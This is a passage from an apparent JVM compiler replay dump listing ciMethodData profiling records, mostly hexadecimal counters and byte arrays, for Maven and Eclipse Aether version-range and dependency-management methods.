0x0 0x78 0x5d3 0x1e0005 0x5d3 0x0 0x0 0x0 0x0 0x0 0x210007 0x5d3 0x3d0 0x0 0x270005 0x0 0x0 0x0 0x0 0x0 0x0 0x2f0005 0x0 0x0 0x0 0x0 0x0 0x0 0x3a0007 0x0 0x60 0x0 0x3f0007 0x0 0x40 0x0 0x460007 0x0 0x20 0x0 0x4f0007 0x0 0xe8 0x0 0x5b0002 0x0 0x600005 0x0 0x0 0x0 0x0 0x0 0x0 0x640005 0x0 0x0 0x0 0x0 0x0 0x0 0x670005 0x0 0x0 0x0 0x0 0x0 0x0 0x6a0002 0x0 0x750005 0x0 0x0 0x0 0x0 0x0 0x0 0x780005 0x0 0x0 0x0 0x0 0x0 0x0 0x800005 0x0 0x0 0x0 0x0 0x0 0x0 0x8b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x8e0005 0x0 0x0 0x0 0x0 0x0 0x0 0x950005 0x0 0x0 0x0 0x0 0x0 0x0 0x980007 0x0 0x90 0x0 0x9d0005 0x0 0x0 0x0 0x0 0x0 0x0 0xa00005 0x0 0x0 0x0 0x0 0x0 0x0 0xa40003 0x0 0xfffffffffffffbb8 0xa80005 0x5d3 0x0 0x0 0x0 0x0 0x0 0xab0007 0x0 0x1b0 0x5d3 0xaf0005 0x0 0x0 0x1b61780ead0 0x5d3 0x0 0x0 0xb40007 0x5d3 0x158 0x0 0xc00002 0x0 0xc50005 0x0 0x0 0x0 0x0 0x0 0x0 0xc90005 0x0 0x0 0x0 0x0 0x0 0x0 0xce0005 0x0 0x0 0x0 0x0 0x0 0x0 0xd20005 0x0 0x0 0x0 0x0 0x0 0x0 0xd50005 0x0 0x0 0x0 0x0 0x0 0x0 0xd80002 0x0 0xdd0005 0x0 0x0 0x1b61780ead0 0x5d3 0x0 0x0 0xe20007 0x0 0x80 0x5d3 0xeb0005 0x5d3 0x0 0x0 0x0 0x0 0x0 0xee0002 0x5d3 0xf30003 0x5d3 0x38 0xfb0002 0x0 0xfe0002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 3 5 java/lang/String 165 java/util/ArrayList 215 java/util/ArrayList methods 0\nciMethodData org/eclipse/aether/util/version/GenericVersionConstraint <init> (Lorg/eclipse/aether/version/Version;)V 2 1747 orig 320 144 166 201 142 252 127 0 0 208 16 142 20 182 1 0 0 224 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 153 46 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 88 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 21 0x10002 0x5d3 0x80002 0x5d3 0xb0004 0x0 0x0 0x1b61780ec30 0x2 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x6 0x0 oops 1 7 org/eclipse/aether/util/version/GenericVersion methods 0\nciMethodData org/apache/maven/repository/internal/DefaultVersionRangeResolver resolveVersionRange (Lorg/eclipse/aether/RepositorySystemSession;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2 1597 orig 320 144 166 201 142 252 127 0 0 96 204 63 20 182 1 0 0 152 9 0 0 120 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 233 41 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 42 0 2 0 0 0 0 0 0 0 8 8 0 0 254 255 255 255 2 0 5 0 0 0 0 0 data 268 0x50002 0x53d 0xd0002 0x53d 0x150005 0x53d 0x0 0x0 0x0 0x0 0x0 0x180005 0x0 0x0 0x1b61780ece0 0x53d 0x0 0x0 0x1d0005 0x0 0x0 0x1b61daa6ce0 0x53d 0x0 0x0 0x240003 0x53d 0x60 0x2c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x350002 0x0 0x3c0005 0x53d 0x0 0x0 0x0 0x0 0x0 0x420005 0x0 0x0 0x1b61daaa0f0 0x53d 0x0 0x0 0x470007 0x0 0xa8 0x53d 0x4d0005 0x0 0x0 0x1b61daaa0f0 0x53d 0x0 0x0 0x520005 0x53d 0x0 0x0 0x0 0x0 0x0 0x560003 0x53d 0x5e0 0x5b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x600005 0x0 0x0 0x0 0x0 0x0 0x0 0x690007 0x0 0x170 0x0 0x700005 0x0 0x0 0x0 0x0 0x0 0x0 0x750005 0x0 0x0 0x0 0x0 0x0 0x0 0x7a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x7d0007 0x0 0xa8 0x0 0x830005 0x0 0x0 0x0 0x0 0x0 0x0 0x860005 0x0 0x0 0x0 0x0 0x0 0x0 0x8a0003 0x0 0x400 0x910002 0x0 0x9a0002 0x0 0xa10005 0x0 0x0 0x0 0x0 0x0 0x0 0xa60005 0x0 0x0 0x0 0x0 0x0 0x0 0xaf0005 0x0 0x0 0x0 0x0 0x0 0x0 0xb40007 0x0 0x2d8 0x0 0xb90005 0x0 0x0 0x0 0x0 0x0 0x0 0xbe0004 0x0 0x0 0x0 0x0 0x0 0x0 0xc70005 0x0 0x0 0x0 0x0 0x0 0x0 0xcc0004 0x0 0x0 0x0 0x0 0x0 0x0 0xcf0005 0x0 0x0 0x0 0x0 0x0 0x0 0xda0005 0x0 0x0 0x0 0x0 0x0 0x0 0xdf0007 0x0 0x100 0x0 0xe60005 0x0 0x0 0x0 0x0 0x0 0x0 0xf10005 0x0 0x0 0x0 0x0 0x0 0x0 0xf60004 0x0 0x0 0x0 0x0 0x0 0x0 0xf90005 0x0 0x0 0x0 0x0 0x0 0x0 0xfd0003 0x0 0x50 0x1050005 0x0 0x0 0x0 0x0 0x0 0x0 0x1090003 0x0 0xfffffffffffffd08 0x10e0002 0x0 0x1140005 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 4 14 org/eclipse/aether/artifact/DefaultArtifact 21 org/eclipse/aether/util/version/GenericVersionScheme 47 org/eclipse/aether/util/version/GenericVersionConstraint 58 org/eclipse/aether/util/version/GenericVersionConstraint methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeResult addException (Ljava/lang/Exception;)Lorg/eclipse/aether/resolution/VersionRangeResult; 1 0 orig 320 144 166 201 142 252 127 0 0 232 148 103 20 182 1 0 0 72 2 0 0 120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 27 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 192 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 34 0x10007 0x0 0xc0 0x0 0x80005 0x0 0x0 0x0 0x0 0x0 0x0 0xd0007 0x0 0x30 0x0 0x150002 0x0 0x200005 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x4 0xffffffffffffffff oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeResult setRepository (Lorg/eclipse/aether/version/Version;Lorg/eclipse/aether/repository/ArtifactRepository;)Lorg/eclipse/aether/resolution/VersionRangeResult; 1 1495 orig 320 144 166 201 142 252 127 0 0 248 154 103 20 182 1 0 0 80 2 0 0 120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 27 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 51 0 0 0 1 8 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 9 0 2 0 0 0 0 0 0 0 192 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 35 0x10007 0x100 0xc0 0x0 0x80005 0x0 0x0 0x0 0x0 0x0 0x0 0xd0007 0x0 0x30 0x0 0x150002 0x0 0x210005 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x8 0xffffffffffffffff 0xffffffffffffffff oops 0 methods 0\nciMethodData org/eclipse/aether/resolution/VersionRangeRequest <init> ()V 2 2177 orig 320 144 166 201 142 252 127 0 0 232 130 103 20 182 1 0 0 160 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 211 0 0 0 113 61 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 13 0x10002 0x7ae 0x50002 0x7ae 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool toKey (Lorg/eclipse/aether/resolution/VersionRangeRequest;)Ljava/lang/Object; 2 2177 orig 320 144 166 201 142 252 127 0 0 232 23 105 20 182 1 0 0 120 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 211 0 0 0 113 61 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 5 0 0 0 0 0 data 8 0x50002 0x7ae 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/util/graph/manager/ClassicDependencyManager manageDependency (Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/collection/DependencyManagement; 2 3081 orig 320 144 166 201 142 252 127 0 0 136 55 193 20 182 1 0 0 224 10 0 0 128 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 211 0 0 0 169 89 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 66 0 2 0 0 0 0 0 0 0 72 9 0 0 254 255 255 255 2 0 3 0 0 0 0 0 data 309 0x30002 0xb35 0xb0005 0xb35 0x0 0x0 0x0 0x0 0x0 0xe0002 0xb35 0x170007 0x10e 0x778 0xa27 0x1f0005 0x0 0x0 0x1b612935580 0x91e 0x1b613a647f0 0x109 0x240104 0x0 0x0 0x1b609184e10 0x241 0x0 0x0 0x2b0007 0x7e6 0x68 0x241 0x320002 0x241 0x390005 0x241 0x0 0x0 0x0 0x0 0x0 0x420005 0x0 0x0 0x1b612935580 0x82b 0x1b613a647f0 0x1fc 0x470104 0x0 0x0 0x1b609184e10 0xc 0x0 0x0 0x4e0007 0xa1b 0x260 0xc 0x520007 0xc 0x30 0x0 0x590002 0x0 0x600005 0xc 0x0 0x0 0x0 0x0 0x0 0x680005 0xc 0x0 0x0 0x0 0x0 0x0 0x6b0007 0x0 0x1a0 0xc 0x6f0005 0xc 0x0 0x0 0x0 0x0 0x0 0x750005 0x0 0x0 0x1b61780ece0 0xc 0x0 0x0 0x7a0007 0xc 0x110 0x0 0x820005 0x0 0x0 0x0 0x0 0x0 0x0 0x850005 0x0 0x0 0x0 0x0 0x0 0x0 0x8a0002 0x0 0x930005 0x0 0x0 0x0 0x0 0x0 0x0 0x9c0005 0x0 0x0 0x0 0x0 0x0 0x0 0xa40005 0xa27 0x0 0x0 0x0 0x0 0x0 0xa70007 0x0 0xd0 0xa27 0xac0007 0xc 0x260 0xa1b 0xb20005 0xa1b 0x0 0x0 0x0 0x0 0x0 0xb50005 0xa1b 0x0 0x0 0x0 0x0 0x0 0xb80007 0xa1b 0x1d0 0x0 0xc00005 0x0 0x0 0x0 0x0 0x0 0x0 0xc50004 0x0 0x0 0x0 0x0 0x0 0x0 0xcc0007 0x0 0x140 0x0 0xd00007 0x0 0x30 0x0 0xd70002 0x0 0xe00005 0x0 0x0 0x0 0x0 0x0 0x0 0xe30005 0x0 0x0 0x0 0x0 0x0 0x0 0xe80002 0x0 0xf30005 0x0 0x0 0x0 0x0 0x0 0x0 0xfc0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1050005 0x0 0x0 0x1b613a647f0 0xa27 0x0 0x0 0x10a0104 0x0 0x0 0x0 0x0 0x0 0x0 0x1110007 0xa27 0x88 0x0 0x1150007 0x0 0x30 0x0 0x11c0002 0x0 0x1230005 0x0 0x0 0x0 0x0 0x0 0x0 0x12c0005 0x0 0x0 0x1b612935580 0x407 0x1b613a647f0 0x72e 0x1310104 0x0 0x0 0x1b612932cb0 0x8 0x0 0x0 0x1380007 0xb2d 0x108 0x8 0x13c0007 0x6 0x30 0x2 0x1430002 0x2 0x14c0005 0x8 0x0 0x0 0x0 0x0 0x0 0x14f0002 0x8 0x1580005 0x0 0x0 0x1b612932cb0 0x8 0x0 0x0 0x1610005 0x8 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 12 18 java/util/HashMap 20 java/util/Collections$EmptyMap 25 java/lang/String 45 java/util/HashMap 47 java/util/Collections$EmptyMap 52 java/lang/String 94 org/eclipse/aether/artifact/DefaultArtifact 222 java/util/Collections$EmptyMap 253 java/util/HashMap 255 java/util/Collections$EmptyMap 260 java/util/LinkedHashSet 286 java/util/LinkedHashSet methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool$ConstraintKey <init> (Lorg/eclipse/aether/resolution/VersionRangeRequest;)V 2 2177 orig 320 144 166 201 142 252 127 0 0 152 190 153 20 182 1 0 0 64 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 212 0 0 0 105 61 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 184 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 33 0x10002 0x7ad 0x60005 0x7ad 0x0 0x0 0x0 0x0 0x0 0xe0005 0x7ad 0x0 0x0 0x0 0x0 0x0 0x190005 0x0 0x0 0x1b61780ece0 0x7ad 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xe 0x0 oops 1 19 org/eclipse/aether/artifact/DefaultArtifact methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool getConstraint (Ljava/lang/Object;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2 2177 orig 320 144 166 201 142 252 127 0 0 208 24 105 20 182 1 0 0 88 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 212 0 0 0 105 61 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 200 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 36 0x50005 0x0 0x0 0x1b61348bdf0 0x7ad 0x0 0x0 0x80104 0x0 0x0 0x1b61348c040 0x3a2 0x0 0x0 0xd0007 0x40b 0x58 0x3a2 0x120005 0x3a2 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 2 3 java/util/concurrent/ConcurrentHashMap 10 org/eclipse/aether/internal/impl/collect/DataPool$Constraint methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool$Constraint toResult (Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 1 992 orig 320 144 166 201 142 252 127 0 0 56 206 153 20 182 1 0 0 120 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 62 0 0 0 17 8 0 0 17 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 6 0 2 0 0 0 0 0 0 0 240 0 0 0 254 255 255 255 2 0 5 0 0 0 0 0 data 40 0x50002 0x102 0x190007 0x102 0xa8 0x102 0x280005 0x102 0x0 0x0 0x0 0x0 0x0 0x370005 0x102 0x0 0x0 0x0 0x0 0x0 0x3e0003 0x102 0xffffffffffffff70 0x460005 0x102 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/internal/impl/collect/DataPool putConstraint (Ljava/lang/Object;Lorg/eclipse/aether/resolution/VersionRangeResult;)V 2 1586 orig 320 144 166 201 142 252 127 0 0 184 25 105 20 182 1 0 0 216 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 150 0 0 0 225 44 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 72 0 0 0 254 255 255 255 2 0 10 0 0 0 0 0 data 20 0xa0002 0x59c 0xd0005 0x0 0x0 0x1b61348bdf0 0x59c 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0xffffffffffffffff 0x0 oops 1 5 java/util/concurrent/ConcurrentHashMap methods 0\nciMethodData org/eclipse/aether/graph/Dependency setScope (Ljava/lang/String;)Lorg/eclipse/aether/graph/Dependency; 2 1164 orig 320 144 166 201 142 252 127 0 0 152 239 98 20 182 1 0 0 104 2 0 0 176 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 113 0 0 0 217 32 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 15 0 2 0 0 0 0 0 0 0 224 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 38 0x50005 0x41b 0x0 0x0 0x0 0x0 0x0 0x80007 0x383 0x98 0x98 0xc0007 0x98 0x78 0x0 0x130005 0x0 0x0 0x0 0x0 0x0 0x0 0x160007 0x0 0x20 0x0 0x2c0002 0x98 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData org/eclipse/aether/graph/Dependency setExclusions (Ljava/util/Collection;)Lorg/eclipse/aether/graph/Dependency; 1 20 orig 320 144 166 201 142 252 127 0 0 128 243 98 20 182 1 0 0 184 1 0 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 12 0 0 0 65 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 0 0 0 0 